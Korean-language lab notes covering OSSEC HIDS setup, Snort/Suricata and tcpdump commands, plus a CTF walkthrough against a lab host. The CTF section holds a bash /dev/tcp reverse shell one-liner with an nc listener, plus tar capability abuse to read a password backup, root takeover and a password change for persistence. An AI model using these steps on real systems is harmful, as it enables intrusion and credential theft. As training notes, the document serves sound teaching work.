Security Lab Notes
보안 실습 명령어 정리
OSSEC HIDS · CTF 해킹 실습 · IDS (Snort / Suricata) — 처음부터 따라할 수 있는 레퍼런스
00
OSSEC이란?
개념
OSSEC (Open Source Security) — 호스트 기반 침입 탐지 시스템 (HIDS, Host-based Intrusion Detection System)
쉽게 말하면 각 컴퓨터(호스트)에 에이전트를 설치해서, 이상한 일이 생기면 중앙 서버에 보고하는 보안 감시 시스템입니다.
쉽게 말하면 각 컴퓨터(호스트)에 에이전트를 설치해서, 이상한 일이 생기면 중앙 서버에 보고하는 보안 감시 시스템입니다.
OSSEC이 감시하는 항목들:
| 탐지 항목 | 예시 | 설명 |
|---|---|---|
| 로그 분석 | SSH 로그인 실패, sudo 사용 | 시스템 로그를 실시간으로 파싱해서 수상한 패턴을 찾음 |
| 파일 무결성 | /etc, /bin 등 변조 감지 | 중요 파일의 해시 값을 주기적으로 비교. 바뀌면 즉시 알림 |
| 루트킷 탐지 | 악성코드 숨김 탐지 | 숨겨진 프로세스·파일 탐색 |
| 정책 위반 | 비밀번호 여러 번 틀림 | 설정한 규칙 위반 시 경보 |
| 실시간 알림 | alerts.log 기록 | 탐지 즉시 /var/ossec/logs/alerts/alerts.log에 기록 |
오늘 구성한 아키텍처:
Agent (Linux .236)
→
UDP/TCP 1514
→
OSSEC Server (235)
→
alerts.log 중앙 관제
01
OSSEC 서버 설치 (172.16.11.235)
SERVER
서버는 에이전트들로부터 보고를 받는 중앙 관제 역할입니다. 먼저 의존성 패키지를 깔고, Atomic 저장소를 추가한 뒤
ossec-hids-server를 설치합니다.
1단계 — 의존성 패키지 설치
# OSSEC 빌드/실행에 필요한 라이브러리들을 한 번에 설치 sudo apt install -y \ build-essential make \ # C 컴파일러, make 빌드 도구 zlib1g-dev libpcre2-dev \ # 압축, 정규표현식 라이브러리 libevent-dev libssl-dev \ # 이벤트 루프, SSL 암호화 libz-dev libsqlite3-dev # 압축, DB (DB 모드 사용 시)
2단계 — Atomic 저장소 추가 (OSSEC 패키지 제공)
# Atomic Corp 저장소를 자동으로 등록하는 스크립트 실행 # -q -O - : 조용히 다운로드 후 바로 bash로 실행 sudo wget -q -O - https://updates.atomicorp.com/installers/atomic | sudo bash sudo apt update # 새 저장소 반영
3단계 — OSSEC 서버 설치 & 확인
sudo apt install -y ossec-hids-server # 설치 확인 — 아래 파일들이 있으면 정상 sudo ls /var/ossec/etc/ossec.conf # 메인 설정 파일 sudo ls /var/ossec/bin/manage_agents # 에이전트 키 관리 도구 sudo ls /var/ossec/bin/ossec-control # 서비스 시작/정지 도구 # OSSEC 서버 시작 sudo /var/ossec/bin/ossec-control start
4단계 — 에이전트 키 등록 (서버에서 수행)
# 에이전트를 서버에 등록하고 인증 키를 발급하는 대화형 툴 sudo /var/ossec/bin/manage_agents # 메뉴가 뜨면: # A → Add an agent (에이전트 추가) # E → Extract key (키 출력 — 이걸 클라이언트에 붙여넣기)
5단계 — 에이전트 연결 확인
# 현재 연결된 에이전트 목록 출력 sudo /var/ossec/bin/agent_control -l # 실시간 알림 로그 모니터링 sudo tail -f /var/ossec/logs/alerts/alerts.log
02
OSSEC 에이전트 설치 (클라이언트)
AGENT
에이전트는 감시 대상 서버마다 설치합니다. 서버 설치와 동일하게 의존성·저장소를 추가한 후
ossec-hids-agent를 설치하면 됩니다.
1단계 — 서버와 동일하게 의존성 + 저장소 추가
sudo apt install -y build-essential make zlib1g-dev libpcre2-dev \ libevent-dev libssl-dev libz-dev libsqlite3-dev sudo wget -q -O - https://updates.atomicorp.com/installers/atomic | sudo bash sudo apt update
2단계 — OSSEC 에이전트 설치
sudo apt install -y ossec-hids-agent
3단계 — 서버 IP 설정
# 에이전트가 어느 서버에 보고할지 지정 sudo vi /var/ossec/etc/ossec.conf # 아래 부분을 찾아서 서버 IP 입력 <client> <server-ip>172.16.11.235</server-ip> <!-- 서버 IP --> </client>
4단계 — 서버에서 발급받은 키 등록
# 대화형 키 등록 도구 실행 sudo /var/ossec/bin/manage_agents # 메뉴에서: # I → Import key (서버의 manage_agents에서 추출한 키를 붙여넣기) # Q → Quit
5단계 — 에이전트 시작 & 로그 확인
sudo /var/ossec/bin/ossec-control start # 로그 디렉토리 확인 sudo ls /var/ossec/logs # 에이전트 쪽 로그 실시간 확인 sudo tail -f /var/ossec/logs/ossec.log
03
OSSEC 연결 오류 해결
TROUBLESHOOT
OSSEC은 UDP/TCP 1514 포트를 사용합니다. 이 포트가 서버에서 열려 있지 않으면 에이전트가 연결은 해도 데이터를 못 보냅니다.
방법 A — firewalld로 포트 열기 (서버 235에서)
# firewalld 설치 (없는 경우) sudo apt install -y firewalld # 1514 포트 영구 허용 (UDP + TCP 둘 다) sudo firewall-cmd --permanent --add-port=1514/udp sudo firewall-cmd --permanent --add-port=1514/tcp sudo firewall-cmd --reload # 적용 확인 sudo firewall-cmd --list-ports
방법 B — ufw 사용 시
# ufw가 활성화된 경우 (ufw status 로 확인)
sudo ufw allow 1514/udp
sudo ufw allow 1514/tcp
sudo ufw reload
양쪽 재시작 (포트 설정 후 반드시)
# 서버 (235) 재시작 sudo /var/ossec/bin/ossec-control restart # 에이전트 (236) 재시작 sudo /var/ossec/bin/ossec-control restart # 서버에서 에이전트 연결 상태 확인 sudo /var/ossec/bin/agent_control -l # "Active" 로 뜨면 성공!
04
CTF 해킹 실습 흐름
CTF
칼리 리눅스에서 타깃 서버(172.16.11.216)를 공격하는 흐름입니다. 침투 → 권한 상승 → 플래그 탈취 순서로 진행됩니다.
1단계 — enum4linux로 사용자 이름 열거
# SMB 프로토콜을 통해 타깃의 사용자·공유 정보를 수집 sudo enum4linux 172.16.11.216 # 출력 결과에서 유저 확인 예시: # user:[cyber] rid:[0x3e8] # → 로그인 이름이 "cyber" 임을 확인
2단계 — 리버스 쉘 연결
# 공격자(칼리, 213)에서 먼저 리스닝 시작 nc -lvp 1234 # -l : listen 모드 -v : 상세 출력 -p : 포트 지정 # 타깃 서버에서 실행 (RCE 취약점 등을 통해 실행) # bash를 강제로 역방향으로 공격자에게 연결시킴 bash -i >& /dev/tcp/172.16.11.213/1234 0>&1
3단계 — 기본 시스템 정보 수집
# 리버스 쉘 연결 후 가장 먼저 확인할 것들 cat /etc/issue # OS 버전 (Ubuntu 22.04 등) uname -a # 커널 버전 — 커널 익스플로잇 여부 판단 id # 현재 사용자 확인 whoami # 현재 계정 이름
4단계 — 권한 상승 벡터 탐색
# SUID 파일 찾기 — root 권한으로 실행되는 파일 목록 # SUID가 설정된 파일은 실행 시 파일 소유자(주로 root) 권한으로 동작 find / -perm -4000 -type f 2>/dev/null # Capabilities 확인 — SUID 없이도 특수 권한이 부여된 파일 탐색 # getcap은 예: tar에 cap_dac_read_search 권한이 있으면 모든 파일 읽기 가능 getcap -r / 2>/dev/null # sudo 가능한 명령어 확인 sudo -l
5단계 — tar Capability 악용 → 비밀 파일 탈취
# getcap 결과에서 tar에 cap_dac_read_search 권한이 있는 경우: # cap_dac_read_search = 파일 권한 무시하고 모든 파일 읽기 가능 # 원래 읽을 수 없는 비밀번호 백업 파일을 tar로 묶어서 훔침 ./tar cf bak.tar /var/backups/.old_pass.bak # cf : create file — bak.tar 를 생성하면서 .old_pass.bak 포함 # 압축 해제 후 내용 확인 tar -xf bak.tar cat var/backups/.old_pass.bak # 비밀번호 출력!
6단계 — root 전환 & 플래그 탈취
# 얻은 비밀번호로 root 전환 su root # root 홈 디렉토리에서 플래그 찾기 cd /root ls cat rOOt.txt # CTF 플래그! # 비밀번호 변경 (접근 유지 목적) passwd # 1234 등 새 비밀번호 설정
이번 실습 핵심 취약점: Linux Capabilities (getcap)
SUID와 달리 파일 단위로 특정 권한만 부여하는 방식이지만,
SUID와 달리 파일 단위로 특정 권한만 부여하는 방식이지만,
cap_dac_read_search처럼 강력한 권한이 붙어 있으면 동일하게 권한 상승 경로가 됩니다. 실제 환경에서도 getcap -r /은 반드시 체크해야 할 항목입니다.
05
IDS 명령어 (Snort / Suricata)
IDS / NMS
네트워크 기반 침입 탐지 (NIDS). OSSEC이 호스트 내부를 감시한다면, Snort/Suricata는 네트워크 트래픽을 감시합니다.
NMS 서버 호스트명 변경
# 서버 이름을 nms-server로 변경 후 쉘 재시작 sudo hostnamectl set-hostname nms-server && exec bash
tcpdump — 네트워크 패킷 캡처
# tcpdump 설치 (RHEL/CentOS/Rocky 계열) sudo dnf install -y tcpdump # 특정 인터페이스의 패킷을 파일로 저장 sudo tcpdump -i enp0s3 -w /tmp/capture.pcap # -i enp0s3 : 캡처할 네트워크 인터페이스 (ip a 로 확인) # -w : 결과를 파일로 저장 (Wireshark로 분석 가능) # 저장된 pcap 파일 읽기 sudo tcpdump -r /tmp/capture.pcap # 특정 포트만 필터링해서 캡처 sudo tcpdump -i enp0s3 port 80 -w /tmp/http.pcap # 특정 IP만 필터링 sudo tcpdump -i enp0s3 host 172.16.11.235
자주 헷갈리는 옵션 정리
# ─── tcpdump 옵션 ─────────────────────────────── -i <인터페이스> # 어떤 NIC에서 캡처할지 (any = 전체) -w <파일.pcap> # 파일로 저장 (이 옵션 없으면 터미널에 출력) -r <파일.pcap> # 저장된 파일 읽기 -n # IP/포트를 이름으로 변환하지 않음 (속도 ↑) -v / -vv / -vvv # 상세도 단계별 증가 -c <개수> # n개 패킷만 캡처 후 종료 # ─── 필터 문법 ────────────────────────────────── port 22 # SSH 포트만 host 192.168.1.1 # 특정 호스트 tcp / udp # 프로토콜 필터 not port 443 # HTTPS 제외
Suricata 관련 자주 쓰는 명령어
# Suricata 서비스 상태 확인 sudo systemctl status suricata # 설정 파일 문법 검사 sudo suricata -T -c /etc/suricata/suricata.yaml # 인터페이스 지정해서 실행 sudo suricata -i enp0s3 # 이미 캡처된 pcap 파일 오프라인 분석 sudo suricata -r /tmp/capture.pcap # 알림 로그 실시간 확인 sudo tail -f /var/log/suricata/fast.log sudo tail -f /var/log/suricata/eve.json # JSON 형식 (상세) # 규칙 업데이트 (suricata-update 사용 시) sudo suricata-update
Snort 관련 자주 쓰는 명령어
# 설정 파일 문법 검사 sudo snort -T -c /etc/snort/snort.conf # 인터페이스 모니터링 모드 실행 sudo snort -i enp0s3 -c /etc/snort/snort.conf -A fast # pcap 파일 오프라인 분석 sudo snort -r /tmp/capture.pcap -c /etc/snort/snort.conf # 알림 로그 확인 sudo tail -f /var/log/snort/alert # ─── 자주 헷갈리는 부분 ───────────────────────── # Snort 3 vs Snort 2 설정 파일 위치가 다름 # Snort 2: /etc/snort/snort.conf # Snort 3: /etc/snort/snort.lua ← lua 파일 사용!
06
빠른 참조 — 경로 & 포트 치트시트
CHEATSHEET| 항목 | 경로 / 값 | 설명 |
|---|---|---|
| OSSEC 설정 | /var/ossec/etc/ossec.conf |
서버·에이전트 공통 메인 설정 파일 |
| OSSEC 알림 로그 | /var/ossec/logs/alerts/alerts.log |
모든 탐지 이벤트가 기록됨. 운영 중 tail -f 로 모니터링 |
| OSSEC 에이전트 키 관리 | /var/ossec/bin/manage_agents |
에이전트 추가(A), 키 추출(E), 키 등록(I) |
| OSSEC 포트 | 1514 (UDP/TCP) | 에이전트 → 서버 통신 포트. 방화벽에서 반드시 열어야 함 |
| Suricata 알림 | /var/log/suricata/fast.log |
간단한 한 줄 형식. 빠른 확인에 적합 |
| Suricata JSON 로그 | /var/log/suricata/eve.json |
상세 이벤트. ELK Stack 연동 시 이 파일 사용 |
| Snort 알림 | /var/log/snort/alert |
Snort 2 기준. Snort 3은 경로 다를 수 있음 |
| tcpdump 저장 형식 | .pcap | Wireshark, Suricata, Snort 모두 -r 옵션으로 읽을 수 있음 |